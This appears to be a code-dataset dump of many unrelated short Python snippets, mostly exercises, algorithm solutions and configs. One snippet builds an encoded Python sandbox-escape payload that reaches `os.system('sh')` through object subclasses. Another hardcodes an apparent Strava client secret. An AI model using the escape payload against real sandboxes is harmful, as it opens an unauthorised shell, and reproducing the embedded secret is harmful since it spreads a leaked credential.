content
stringlengths
7
1.05M
# coding: utf-8 strings = ['KjgWZC', 'arf12', ''] for s in strings: if s.isalpha(): print("The string " + s + " consists of all letters.") else: print("The string " + s + " does not consist of all letters.")
''' In order to get the Learn credentials, they do not to open a case on behind the blackboard nor email developers@blackboard.com. They need to go to developer.blackboard.com and register from there to grab the Learn credentials for their application, it is also imperative to remind them that they are creating an app...
""" Frozen subpackages for meta release. """ frozen_packages = { "libpysal": "4.2.2", "esda": "2.2.1", "giddy": "2.3.0", "inequality": "1.0.0", "pointpats": "2.1.0", "segregation": "1.2.0", "spaghetti": "1.4.1", "mgwr": "2.1.1", "spglm": "1.0.7", "spint": "1.0.6", "spreg": "1...
class CardError(Exception): pass class IssuerNotRecognised(CardError): pass class InvalidCardNumber(CardError): pass
def Wspak(dane): for i in range(len(dane)-1, -1, -1): yield dane[i] tablica = Wspak([1, 2, 3]) print('tablica [1, 2, 3]', end=' ') print('[', end='') print(next(tablica), end=', ') print(next(tablica), end=', ') print(next(tablica), end=']') print()
''' python开始学习第一例:利用分支模拟用户登录 注意:input函数相当于java里面的Scanner类,当input接受的是字符串 ''' # 定义正确的用户名和密码 ACCOUNT = 'admin' PASSWORD = '654321' # 接收用户输入的账户信息 print('请输入用户名:') temp_account = input() print('请输入密码:') temp_password = input() # 校验结果 if not(temp_account and temp_password): print('用户名或者密码不能为空!') elif temp_acco...
class Solution: def getHint(self, secret, guess): ss, gs = {str(x): 0 for x in range(10)}, {str(x): 0 for x in range(10)} A = 0 for s, g in zip(secret, guess): if s == g: A += 1 ss[s] += 1 gs[g] += 1 ans = 0 for k, v in ss.items(): ...
class Sample: def __init__(self, source=None, data=None, history=None, uid=None): if history is not None: self.history = history elif source is not None: self.history = [("init", "", source)] else: self.history = [] if data is not None: ...
# class Solution: # # @param A : integer # # @return a strings def findDigitsInBinary(self, A): res = "" while(A != 0): temp = A%2 res += str(temp) A = A//2 res = res[::-1] return res print(findDigitsInBinary(6))
class Solution(object): def minimumSum(self, num): """ :type num: int :rtype: int """ num = list(str(num)) min_sum = 9999 for i in range(3): s1 = int(num[i] + num[i + 1]) + int(num[i - 2] + num[i - 1]) s2 = int(num[i] + num[i + 1]) + in...
#!python class Node(object): def __init__(self, data): """Initialize this node with the given data""" self.data = data self.prev = None self.next = None def __repr__(self): """Return a string representation of this node""" return 'Node({!r})'.format(self.da...
""" Shortest path: Find the shortest path (of neighbors) from s to v for all v """ def shortest_path(s, v, memoize={}): """ Brute force shortest path from v to s """ if (s,v) in memoize: return memoize[(s,v)] shortest = None best_neighbor = None for neighbor in v.neighbors: ...
pygame, random, sys pygame.init() screen_width, screen_height = 400, 600 SCORE_FONT = pygame.font.SysFont('comicsans', 40) screen = pygame.display.set_mode((screen_width,screen_height)) pygame.display.set_caption("Stack towers") BLACK = (0,0,0) RED = (255,0,0) BLUE = (0,0,255) GREEN = (0,255,0) YELLOW = (255,212,...
def main(): pins = {} subconnectors = ["A", "B", "C", "D"] curr_connector = None with open("pins.txt", "r") as f: for line in f: l = line.split("#")[0].strip() if len(l) == 0: continue if l[0] == '.': curr_connector = l[1:] ...
stations = [ '12th St. Oakland City Center', '16th St. Mission (SF)', '19th St. Oakland', '24th St. Mission (SF)', 'Ashby (Berkeley)', 'Balboa Park (SF)', 'Bay Fair (San Leandro)', 'Castro Valley', 'Civic Center (SF)', 'Coliseum/Oakland Airport', 'Colma', 'Concord', '...
def palindrome(word, index): second_index = len(word) - 1 - index if index == len(word) // 2: return f"{word} is a palindrome" if word[index] == word[second_index]: return palindrome(word, index + 1) else: return f"{word} is not a palindrome" print(palindrome("abcba",...
# función para mostrar el mensaje cifrado al usuario # parametros de entrada: tasa - tasa que se uso para la encriptación # mensaje - mensaje encriptado en string def mensaje_usuario(tasa, mensaje_cifrado): # funcion 6 print('Tu mensaje es:', mensaje_cifrado, 'La tasa usada es:', tasa)...
# Configuration file for the Sphinx documentation builder. # -- Project information project = 'PDFsak' copyright = '2021, Raffaele Mancuso' author = 'Raffaele Mancuso' release = '1.1' version = '1.1.1' # -- General configuration extensions = [ 'sphinx.ext.duration', 'sphinx.ext.doctest', 'sphinx.ext.au...
s = '().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals["sys"].modules["os.path"].os.system("sh")' s2 = '+'.join(['\'{}\''.format(x) for x in s]) print('(lambda:sandboxed_eval({}))()'.format(s2))
# -*- coding: utf-8 -*- # ------------------------------------------------------------------------- # This is a sample controller # this file is released under public domain and you can use without limitations # ------------------------------------------------------------------------- # ---- example index page ---- de...
""" Copyright 2017 Neural Networks and Deep Learning lab, MIPT Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or a...
def head(xs): """ Напишете функция `head`, която взима списък и връща първият елемент на този списък. **Не се грижете, ако списъка е празен** >>> head([1,2,3]) 1 >>> head(["Python"]) 'Python' """ pass
# encoding = utf-8 __author__ = "Ang Li" class Person: x = 100 def __init__(self, name, age=18): self.name = name self.age = age def showage(self): return "{} is {}".format(self.name, self.age) print(*Person.__dict__.items(), sep='\n') # 类字典 __dict__ print('-' * 30) tom = Perso...
LIB_IMPORT = """ from qiskit import QuantumCircuit from qiskit import execute, Aer from qiskit.visualization import *""" CIRCUIT_SCRIPT = """ circuit = build_state() circuit.measure_all() figure = circuit.draw('mpl') output = figure.savefig('circuit.png')""" PLOT_SCRIPT = """ backend = Aer.get_backend("qasm_simulator...
class Solution(object): def reverse(self, x): """ :type x: int :rtype: int """ answer = 0 if x >=0 : while x > 0: answer = answer*10 + x%10 x = x/10 if answer > 2147483647: return 0 el...
def isMAC48Address(inputString): letters = ['A','B', 'C','D','E','F'] string = inputString.split('-') input = len(string) if input != 6: return False for i in range(input): subInput = string[i] subString = len(subInput) if subString != 2: return False ...
#!/usr/bin/env python ## Global macros SNIFF_TIMEOUT = 5 AGGREGATION_TIMEOUT = 5 ACTIVE_TIMEOUT = 20 ## If a flow doesn't have a packet traversing a router during ACTIVE_TIMEOUT, it will be removed from monitored flows BATCH_SIZE = 1000 MAX_BG_TRAFFIC_TO_READ = 5000 MIN_REPORT_SIZE = 600 ## Only send summary report if...
class AirTable: # AirTable configuration variables API_KEY = '' BASE = '' PROJECT_TABLE_NAME = '' PROJECT_PHASE_OWNERS_TABLE = '' PROJECT_PHASE_FIELD = '' ASSIGNEE_FIELD = ''
n=int(input("Enter a number:")) tot=0 while(n>0): dig=n%10 tot=tot+dig n=n//10 print("The total sum of digits is:",tot)
class Node: '''This class is just for creating a Node with some data, thats why we set the refrence field to Null''' def __init__(self, data): self.data = data self.nref = None self.pref = None class Doubly_LL: '''This class is for performing the operations to the node which w...
# # PySNMP MIB module ZYXEL-IF-LOOPBACK-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/ZYXEL-IF-LOOPBACK-MIB # Produced by pysmi-0.3.4 at Mon Apr 29 21:44:07 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (def...
def test_throw_on_sending(w3, assert_tx_failed, get_contract_with_gas_estimation): code = """ x: public(int128) @external def __init__(): self.x = 123 """ c = get_contract_with_gas_estimation(code) assert c.x() == 123 assert w3.eth.getBalance(c.address) == 0 assert_tx_failed( lambd...
def parse(rows, employees): curr_row = 0 begin_row = 1 for row in rows: if curr_row < begin_row: curr_row += 1 continue reg = float(row[0]) aux_adocao = float(row[4]) #AUXÍLIO-ADOÇÃO/VERBAS INDENIZATÓRIAS aux_ali = float(row[5]) #AUXÍLIO-ALIMENTAÇÃO/...
""" Project Euler Problem 2 ======================= Each new term in the Fibonacci sequence is generated by adding the previous two terms. By starting with 1 and 2, the first 10 terms will be: 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, ... Find the sum of all the even-valued terms in the sequence which do ...
expansion_dates = [ ["2017-09-06", "D2 Vanilla"], ["2018-09-04", "Forsaken"], ["2019-10-01", "Shadowkeep"], ["2020-11-10", "Beyond Light"], ["2022-22-02", "Witch Queen"], ] season_dates = [ ["2017-12-05", "Curse of Osiris"], ["2018-05-08", "Warmind"], ["2018-12-04", "Season of the Forge...
""" Shop in Candy Store: In a candy store there are N different types of candies available and the prices of all the N different types of candies are provided to you. You are now provided with an attractive offer. You can buy a single candy from the store and get atmost K other candies ( all are different types ) for...
# Copyright 2019 The Bazel Authors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable la...
# https://leetcode.com/problems/best-time-to-buy-and-sell-stock/submissions/ class Solution: def maxProfit(self, prices: List[int]) -> int: if len(prices) == 0: return 0 maxProfitSoFar = 0 buy = prices[0] for i in range(1, len(prices)): cur ...
def Grettings(name, object): return "/******************************************************* \n"\ " * author : Raphaël KUMAR generator\n"\ " * copyright : SoFAB CC-BY-SA\n"\ " * file : "+ name +"\n"\ " * object : "+object+"\n"\ " ***/\n"
# Variables to be overriden by template_vars.mk via jinja # watch the string quoting. RUNAS = "{{MLDB_USER}}" HTTP_LISTEN_PORT = {{MLDB_LOGGER_HTTP_PORT}}
class IIDError: INTERNAL_ERROR = 'internal-error' UNKNOWN_ERROR = 'unknown-error' INVALID_ARGUMENT = 'invalid-argument' AUTHENTICATION_ERROR = 'authentication-error' SERVER_UNAVAILABLE = 'server-unavailable' ERROR_CODES = { 400: INVALID_ARGUMENT, 401: AUTHENTICATION_ERROR, ...
PATH_TO_DATASET = "houseprice.csv" TARGET = 'SalePrice' CATEGORICAL_TO_IMPUTE = ['MasVnrType', 'BsmtQual', 'BsmtExposure', 'FireplaceQu', 'GarageType', 'GarageFinish'] NUMERICAL_TO_IMPUTE = ['LotFrontage'] YEAR_VARIABLE = 'YearRemodAdd' NUMERICAL_LOG = ['LotFrontage', ...
def __main(): bulk = [1, 2, 3, 4, 5,] #题目信息 weight = [4, 2, 1, 3, 5,] value = [5, 3, 2, 6, 8,] cw = 10 cb = 9 n = len(weight) m = [ [[0]*cw for j in range(cb)] #三维数组[n][bulk][weight] for i in range(n) ] tk(weight, bulk, value, m, n-1, cw, cb) print(Trackb...
""" Implements a solution to the compare lists Hackerrank problem. https://www.hackerrank.com/challenges/compare-two-linked-lists/problem """ __author__ = "Jacob Richardson" def compare_lists(llist1, llist2): """ Compares two singly linked list to determine if they are equal.""" # If list 1 is empty...
############################################################################################### # 堆优化 + 遍历 ########### # 时间复杂度:O(n) # 空间复杂度:O(n) ############################################################################################### class Solution: def getNumberOfBacklogOrders(self, orders: List[List...
def get_questions_and_media_attributes(json): questions=[] media_attributes=[] def parse_repeat(r_object): r_question = r_object['name'] for first_children in r_object['children']: question = r_question+"/"+first_children['name'] if first_child...
# Source Generated with Decompyle++ # File: 3nohtyp.pyc (Python 3.6) def run_vm(instructions): pc = 0 굿 = 0 regs = [0] * 2 ** (2 * 2) mem = [0] * 100 jmplist = [] while instructions[pc][0] != '\xeb\x93\x83': ope = instructions[pc][0].lower() operand = instructions[pc][1:] ...
'''Elabore um programa que permita a entrada de dois valores ( x, y ), troque seus valores entre si e então exiba os novos resultados.''' num1 = int(input('Informe um valor: ')) num2 = int(input('Informe outro valor: ')) print(num1, num2) num1, num2 = num2, num1 print(num1, num2)
def main(request, response): coop = request.GET.first("coop") coep = request.GET.first("coep") redirect = request.GET.first("redirect", None) if coop != "": response.headers.set("Cross-Origin-Opener-Policy", coop) if coep != "": response.headers.set("Cross-Origin-Embedder-Policy", co...
AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', ...
""" https://www.codewars.com/kata/57faefc42b531482d5000123 Given a string, remove all exclamation marks from the string, except for a ! if it exists at the very end. remove("Hi!") == "Hi!" remove("Hi!!!") == "Hi!!!" remove("!Hi") == "Hi" remove("!Hi!") == "Hi!" remove("Hi! Hi!") == "Hi Hi!" remove("Hi") == "Hi" """ ...
# coding: utf-8 """***************************************************************************** * Copyright (C) 2021 Microchip Technology Inc. and its subsidiaries. * * Subject to your compliance with these terms, you may use Microchip software * and any derivatives exclusively with Microchip products. It is your * re...
# # "Client-ID" and "Client-Secret" from https://www.strava.com/settings/api # CLIENT_ID = '19661' CLIENT_SECRET = '673409cdf6d02b8bc47b0e88cd03015283dddba2' AUTH_URL = 'http://127.0.0.1:7123/auth'
nome = str(input('Digite seu nome completo: ')).strip().title() dividido = nome.split() print(f'Prazer em te conhecer, {dividido[0]}') print(f'Seu primeiro nome é {dividido[0].title()}\nE seu último nome é {dividido[-1]}') print(';)') # O '-1' é necessário para ficar dentro do range do fatiamento, já que o len() começ...
WHITE_ON_BLACK = 0 WHITE_ON_BLUE = 1 BLUE_ON_BLACK = 2 RED_ON_BLACK = 3 GREEN_ON_BLACK = 4 YELLOW_ON_BLACK = 5 CYAN_ON_BLACK = 6 MAGENTA_ON_BLACK = 7 WHITE_ON_CYAN = 8 MAGENTA_ON_CYAN = 9 PROTOCOL_NUMBERS = { 0: "HOPOPT", 1: "ICMP", 2: "IGMP", 3: "GGP", 4: "IPv4", 5: "ST", 6: "TCP", 7: ...
""" LC 494 You are given a set of positive numbers and a target sum ‘S’. Each number should be assigned either a ‘+’ or ‘-’ sign. We need to find the total ways to assign symbols to make the sum of the numbers equal to the target ‘S’. Example 1: Input: {1, 1, 2, 3}, S=1 Output: 3 Explanation: The given set has '3' ways...
type_ = "postgresql" username = "" password = "" address = "" database = "" sort_keys = True secret_key = "" debug = True app_host = "0.0.0.0"
# -*- coding: utf-8 -*- qntMedidaVelocidadeMotor = int(input()) listMedidaVelocidade = list(map(int, input().split())) indiceMedidaMenor = 0 for indiceMedida in range(1, qntMedidaVelocidadeMotor): if listMedidaVelocidade[indiceMedida] < listMedidaVelocidade[indiceMedida - 1]: indiceMedidaMenor = indiceMed...
''' Given an array nums containing n + 1 integers where each integer is between 1 and n (inclusive), prove that at least one duplicate number must exist. Assume that there is only one duplicate number, find the duplicate one. Example 1: Input: [1,3,4,2,2] Output: 2 ''' class Solution: def findDuplicate(self, nu...
#!python class Person: def __init__(self, initialAge): self.age = initialAge if initialAge >= 0 else 0 if initialAge < 0: print("Age is not valid, setting age to 0.") def amIOld(self): if self.age < 13: print("You are young.") elif self.age < 18: ...
MotorDriverDirection = [ 'forward', 'backward', ] class MotorDriver(): def __init__(self): self.PWMA = 0 self.AIN1 = 1 self.AIN2 = 2 self.PWMB = 5 self.BIN1 = 3 self.BIN2 = 4 def MotorRun(self, pwm, motor, index, speed): if speed > 100: ...
# -*- coding: utf-8 -*- # # Copyright © 2013 The Spyder Development Team # Licensed under the terms of the MIT License # (see spyderlib/__init__.py for details) """ Introspection utilities used by Spyder """
#fragment start * ENDMARK = "\0" # aka "lowvalues" #----------------------------------------------------------------------- # # Character # #----------------------------------------------------------------------- class Character: """ A Character object holds - one character (self.cargo) - the inde...
""" Deals with generating the per-page table of contents. For the sake of simplicity we use the Python-Markdown `toc` extension to generate a list of dicts for each toc item, and then store it as AnchorLinks to maintain compatibility with older versions of staticgennan. """ def get_toc(toc_tokens): toc = [_parse...
""" Pie Chart Uses the arc() function to generate a pie chart from the data stored in an array. """ angles = (30, 10, 45, 35, 60, 38, 75, 67) def setup(): size(640, 360) noStroke() noLoop() # Run once and stop def draw(): background(100) pieChart(300, angles) def pieChart(diameter, da...
#counting sort l = [] n = int(input("Enter number of elements in the list: ")) highest = 0 for i in range(n): temp = int(input("Enter element"+str(i+1)+': ')) if temp > highest: highest = temp l += [temp] def counting_sort(l,h): bookkeeping = [0 for i in range(h+1)] for i in l:...
class Source: ''' Source class to define Source Objects ''' def __init__(self,id,name,description,url,category,language,country): self.id =id self.name = name self.description= description self.url = url self.category = category self.language = language ...
class Solution: def toGoatLatin(self, S: str) -> str: ans = '' for i, word in enumerate(S.split()): if('aiueoAIUEO'.find(word[0]) != -1): word += 'ma' else: word = word[1:] + word[0] + 'ma' word += 'a' * (i + 1) ans += w...
def make_bold(func): def wrapper(*args, **kwargs): return f'<b>{func(*args, **kwargs)}</b>' return wrapper def make_italic(func): def wrapper(*args, **kwargs): return f'<i>{func(*args, **kwargs)}</i>' return wrapper def make_underline(func): def wrapper(*args, **kwargs): ...
#Naive vowel removal. removeVowels = "EQuis sapiente illo autem mollitia alias corrupti reiciendis aut. Molestiae commodi minima omnis illo officia inventore. Quisquam sint corporis eligendi corporis voluptatum eos. Natus provident doloremque reiciendis vel atque quo. Quidem" charToRemove = ['a', 'e', 'i', 'o', 'u'] ...
# Copyright (c) 2019 CatPy # Python stdlib imports #from typing import NamedTuple, Dict # package imports #from catpy.usfos.headers import print_head_line, print_EOF def print_gravity(): """ """ UFOmod = [] #_iter = 0 #for _key, _load in sorted(load.items()): #try: ...
def patching_test(value): """ A test function for patching values during step tests. By default this function returns the value it was passed. Patching this should change its behavior in step tests. """ return value
class Solution: def rotate(self, nums: List[int], k: int) -> None: """ Do not return anything, modify nums in-place instead. https://leetcode-cn.com/problems/rotate-array """ leng = len(nums); k %= leng; loop_time = current = start = 0; while True: ...
class SwanTag: __tag = None __link = None __desc = None __parent = [] __child = [] __attrs = [] def __init__(self): pass
#map() 会根据提供的函数对指定序列做映射。第一个参数是函数,第二个参数是序列 #把序列里面的每个元素作为参数传递到函数,返回一个迭代器 def square(x): return x**2 ls = [1, 2, 3] for i in map(square, ls): print(i)
'''В заданной строке расположить в обратном порядке все слова. Разделителями слов считаются пробелы''' a = 'Bob почуствовал усталость сильную' b = a.split(' ') print(b) new_a =" ".join(b[::-1]) print(new_a)
# 8b d8 Yb dP 88""Yb db dP""b8 88 dP db dP""b8 888888 # 88b d88 YbdP 88__dP dPYb dP `" 88odP dPYb dP `" 88__ # 88YbdP88 8P 88""" dP__Yb Yb 88"Yb dP__Yb Yb "88 88"" # 88 YY 88 dP 88 dP""""Yb YboodP 88 Yb dP""""Yb YboodP 888888 VERSION = (0, 7, 3, 8) __vers...
lista = ('Lápis', 1.75, 'Borracha', 2, 'Caderno', 15.90, 'Estojo', 25, 'Transferidor', 4.20, 'Compasso', 9.99, 'Mochila', 120.32, 'Canetas', 22.30, 'Livro', 34.90) print('-' * 40) print(f'{"LISTAGEM DE PREÇOS":^40}') print('-' * 40) for pos in rang...
""" Crie um programa que leia duas notas de um aluno e calcule sua média, mostrando uma mensagem no final, de acordo com a média atingida: -Média abaixo de 5.0: Reprovado; -Média entre 5.0 e 6.9: Recuperação; -Media 7.0 ou superior: Aprovado. """ n1 = float(input('Primeira nota:')) n2 = float(input('Segunda nota:')) ...
''' Created on Jan 5, 2010 @author: jtiai ''' HOME = 1 VISITOR = -1 TIE = 0 def winner(self): """Returns winner of the match or guess 1 = home, 0 = equal, -1 = visitor""" if self.home_score > self.away_score: return HOME elif self.home_score < self.away_score: return VISITOR else...
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2018/1/31 上午8:30 # @Author : wook # @File : cord.py.py """ """
""" Boxing modules. Boxes are added in formatting Mathics S-Expressions. Boxing information like width and size makes it easier for formatters to do layout without having to know the intricacies of what is inside the box. """
N = int(input()) def explosion_3(n): n_pos_B = [0 for i in range(n)] n_pos_A = [0 for i in range(n)] n_pos_C = [0 for i in range(n)] n_pos_B[0] = 1 n_pos_A[0] = 1 n_pos_C[0] = 1 for i in range(1, n): n_pos_C[i] = n_pos_C[i - 1] + n_pos_B[i - 1] + n_pos_A[i - 1] n_pos_B[i] ...
class InstanceStack(object): def __init__(self, max_stack): self._max_stack = max_stack self._stack = [] def __contains__(self, name): return name in map(lambda instance: instance.get_arch_name(), self._stack) def __getitem__(self, name): for instance in self._stack: ...
# -*- coding: utf-8 -*- ''' File name: code\bounded_sequences\sol_319.py Author: Vaidic Joshi Date created: Oct 20, 2018 Python Version: 3.x ''' # Solution to Project Euler Problem #319 :: Bounded Sequences # # For more information see: # https://projecteuler.net/problem=319 # Problem Statement '''...
# Copyright 2019 The Texar Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
# URI Online Judge 2756 diamond = [ ' A', ' B B', ' C C', ' D D', ' E E', ' D D', ' C C', ' B B', ' A', ] for line in diamond: print(line)
# Write and test a function threshold(vals, goal) # where vals is a sequence of numbers and goal is a positive number. # The function returns the smallest integer n such that the sum of # the first n numbers in vals is >= goal. If the goal is # unachievable, the function returns 0 def func(data, goal): n = int...
def main() -> None: # binary search n = int(input()) a = list(map(int, input().split())) def binary_search_average() -> float: def possible_more_than(average: float) -> bool: b = [x - average for x in a] dp = [[0.0, 0.0] for _ in range(n + 1)] # not-...
# /home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser_tables.py # This file is automatically generated. Do not edit. _tabversion = '3.2' _lr_method = 'LALR' _lr_signature = '4\xa4a\x00\xea\xcdZp5\xc6@\xa5\xfa\x1dCA' _lr_action_items = {'NONE_TOK':([8,12,24,26,],[11,11,11,11,]),'LP_TOK':(...
def funny_division(anumber): try: return 100 / anumber except ZeroDivisionError: return "Silly wabbit, you can't divide by zero!" print(funny_division(0)) print(funny_division(50.0)) print(funny_division("hello"))
def extractNutty(item): """ """ vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title']) if not (chp or vol) or 'preview' in item['title'].lower(): return None if 'A Mistaken Marriage Match' in item['tags'] and 'a generation of military counselor' in item['tags']: return buildReleaseMessag...
with sqlite3.connect(DATABASE) as db: db.execute(SQL_CREATE_TABLE) db.executemany(SQL_INSERT, DATA) result = list(db.execute(SQL_SELECT))
class HashTable: def __init__(self): self.size = 11 self.slots = [None] * self.size self.data = [None] * self.size def put(self, key, data): hashvalue = self.hashfunction(key, len(self.slots)) if self.slots[hashvalue] == None: self.slots[hashvalue] = key ...
src =Split(''' uData_sample.c ''') component =aos_component('uDataapp', src) dependencis =Split(''' tools/cli framework/netmgr framework/common device/sensor framework/uData ''') for i in dependencis: component.add_comp_deps(i) global_includes =Split(''' . ''') for i in global_inclu...
"""Global parameters for the VGGish model. See vggish_slim.py for more information. """ # Architectural constants. NUM_FRAMES = 50 # Frames in input mel-spectrogram patch. NUM_BANDS = 64 # Frequency bands in input mel-spectrogram patch. EMBEDDING_SIZE = 128 # Size of embedding layer. # Hyperparameters used in feat...
{ 'name': 'Chapter 05, Recipe 1 code', 'summary': 'Report errors to the user', 'depends': ['base'], }
""" http://pythontutor.ru/lessons/functions/problems/negative_power/ Дано действительное положительное число a и целоe число n. Вычислите a**n. Решение оформите в виде функции power(a, n). Стандартной функцией возведения в степень пользоваться нельзя. """ def power(a, n): res = 1 for _ in range(abs(n)): ...
config = { "interfaces": { "google.pubsub.v1.Subscriber": { "retry_codes": { "idempotent": ["ABORTED", "UNAVAILABLE", "UNKNOWN"], "non_idempotent": ["UNAVAILABLE"], "none": [], }, "retry_params": { "default":...
class EntrySupport(object): mixin = 'Entry' class Reporter(object): def __init__(self, model, subject=None): if subject: subject = subject.strip(':') self.model = model self.subject = subject def __call__(self, tag, subject=None, entry=None,...